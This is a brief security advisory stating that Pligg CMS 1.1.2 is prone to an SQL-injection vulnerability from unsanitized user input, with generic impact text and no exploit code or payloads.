Pligg CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Pligg CMS 1.1.2 is vulnerable; other versions may also be affected.
